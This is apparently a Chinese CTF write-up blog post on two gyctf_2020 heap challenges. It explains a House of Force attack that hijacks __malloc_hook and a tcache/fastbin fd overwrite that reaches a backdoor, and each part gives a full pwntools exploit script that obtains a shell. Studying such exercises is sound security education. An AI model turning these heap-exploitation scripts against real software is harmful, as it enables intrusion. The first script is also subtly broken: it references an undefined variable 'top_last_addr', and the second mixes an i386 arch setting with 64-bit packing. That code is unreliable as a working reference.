Limu
Articles10
Tags3
Categories0
gyctf_2020刷题

gyctf_2020刷题

gyctf_2020_force

分析题目

这个题目仅有add函数可用,并且会返回chunk的地址,而puts函数是没有作用的,所以这里考虑使用top chunk来泄露libc的基地址

add函数

利用方式

1、当程序申请一个足够大的chunk的时候,会调用mmap在紧挨libc上方位置申请一个chunk块,所以只需要进行一个简单的计算,就可以得到libc的基地址。

1
add(0x200000,b'aaaa') + 0x200ff0

vmmap

2、当申请一个chunk的时候,在已有的内存找不到合适,或者组合的内存时,会从top chunk中切割一部分,我们通过溢出修改top chunk的大小,来实现chunk覆盖,从而修改指针。

3、因为程序开启了got表的防护,所以,这里需要劫持malloc_hook为one_gadget,因为one_gadget需要一些特殊的条件,所以我们这里首先让栈帧平衡,在这里,我们使用了调用realloc前,对栈帧的一些平衡的操作,然后在使用one_gadget,所以,这样的话,我们只需要将malloc_hook的地址修改为realloc前的一部分地址,然后修改realloc_hook的地址为one_gadget,这样的话,就能成功getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# Author by: limu
# Terminal: i3
# Tools: pwntools
# Usage: python3 exp.py [local or remote] [yes or no] ip port

from pwn import *
from LibcSearcher import *
import sys
context.log_level = "debug"
context.terminal = ['i3-sensible-terminal', "-e"]
context.arch = 'amd64'
elf = ELF('./pwn1')

if sys.argv[1] == 'l':
p = process("./pwn1")

elif sys.argv[1] == 'r':
p = remote(sys.argv[3], sys.argv[4])

else:
print("wrong")
sys.exit()

# 启动调试
if sys.argv[2] == 'y':
gdb.attach(p, gdbscript='break main')
pause()

# def exec_fmt(payload):
# p.sendline(payload)
# info = p.recv()
# return info
# auto = FmtStr(exec_fmt)
# offset = auto.offset

def add(size,content):
p.sendlineafter(b'\n', b'1')
p.sendlineafter(b'\n', str(size).encode())
p.recvuntil(b'0x')
addr = int(b'0x' + p.recvuntil(b'\n'),16)
p.sendlineafter(b'\n', content)
return addr

# def edit(index1,index2,content):
# p.sendlineafter(b'>>\n', b'3')
# p.sendlineafter(b'\n', str(index1).encode())
# p.sendlineafter(b'\n', str(index2).encode())
# p.sendlineafter(b'TheNewContents:', content)

# def free(index):
# p.sendlineafter(b'>>\n', b'4')
# p.sendlineafter(b'\n', str(index).encode())

# def show(index):
# p.sendlineafter(b'>>\n',b'2')
# p.sendlineafter(b'\n', str(index).encode())


#libc = ELF('/home/limu/Downloads/libc-2.23.so')
libc = ELF('./libc.so.6')

base = add(0x200000,b'aaaa') + 0x200ff0
addr = add(0x18,p64(0) * 3 + p64(0xFFFFFFFFFFFFFFFF))
top_addr = top_last_addr + 0x10

offset = base + libc.symbols["__malloc_hook"] - top_addr - 0x30

one_gadget = base + 0x4525a
realloc_addr = base + libc.symbols["__libc_realloc"]

add(offset,b' ')
add(0x10,b'a' * 8 + p64(one_gadget) + p64(realloc_addr + 0x10))

p.sendlineafter(b'\n', b'1')
p.sendlineafter(b'\n', b'16')

p.interactive()

gyctf_2020_signin

分析题目

这个题目存在后门backdoor,所以我们只需要满足条件,使ptr不等于0。

backdoor函数

然后我们看一下使用的libc是18.04版本的,相对于16.04,其中更新了tcache机制,即我们可以利用:

1、tcache仅有7个指针储存,当我们申请7个chunk并且free后,就可以填满tcache。

2、分配fastbin中的chunk时,如果还有其他相同大小的fastbin_chunk,则把它们全部放入tcache中。

3、calloc不会分配tcache中的chunk。

利用方式

所以这个题目的利用方式也就出来了,利用calloc不会分配tcache的这个机制,伪造一个fastbin_chunk的fd,利用fastbin attche的方式,修改目标位置的内存。

1、首先申请8个chunk,然后依次释放,这时,会有一个chunk因为tcache塞满,进入了fastbin中,也就是chunk7。

2、然后我们申请chunk8,此时,这个chunk会从tcache中取出,tcache会有一个空缺的位置(申请的chunk8和chunk6的地址会是相同的)。

3、然后我们修改chunk7的fd,然后利用calloc申请一个堆的操作,认为fd指向的位置为另外一个fastbin_chunk,所以会修改fd指向fake_chunk的fd,将fd指向的chunk放入tcache中。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# Author by: limu
# Terminal: i3
# Tools: pwntools
# Usage: python3 exp.py [local or remote] [yes or no] ip port

from pwn import *
from LibcSearcher import *
import sys
context.log_level = "debug"
context.terminal = ['i3-sensible-terminal', "-e"]
context.arch = 'i386'
elf = ELF('./pwn')

if sys.argv[1] == 'l':
p = process("./pwn")

elif sys.argv[1] == 'r':
p = remote(sys.argv[3], sys.argv[4])

else:
print("wrong")
sys.exit()

# 启动调试
if sys.argv[2] == 'y':
gdb.attach(p, gdbscript='break main')
pause()

# def exec_fmt(payload):
# p.sendline(payload)
# info = p.recv()
# return info
# auto = FmtStr(exec_fmt)
# offset = auto.offset

def add(index):
p.sendlineafter(b'your choice?', b'1')
p.sendlineafter(b'idx?\n', str(index).encode())

def edit(index,content):
p.sendlineafter(b'your choice?', b'2')
p.sendlineafter(b'idx?\n', str(index).encode())
p.send(content)

def free(index):
p.sendlineafter(b'your choice?', b'3')
p.sendlineafter(b'idx?\n', str(index).encode())

# def show(index):
# p.sendlineafter(b'>>\n',b'2')
# p.sendlineafter(b'\n', str(index).encode())

#libc = ELF('/home/limu/Downloads/libc-2.27.so')
libc = ELF('./libc.so.6')

add(0)
add(1)
add(2)
add(3)
add(4)
add(5)
add(6)
add(7)
free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)
free(7)

add(8)
payload = p64(0x4040c0-0x10)
edit(7, payload)
p.sendlineafter(b'your choice?', b'6')
p.interactive()
Author:Limu
Link:https://limu.ltd/2023/03/27/gyctf-2020/
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可
×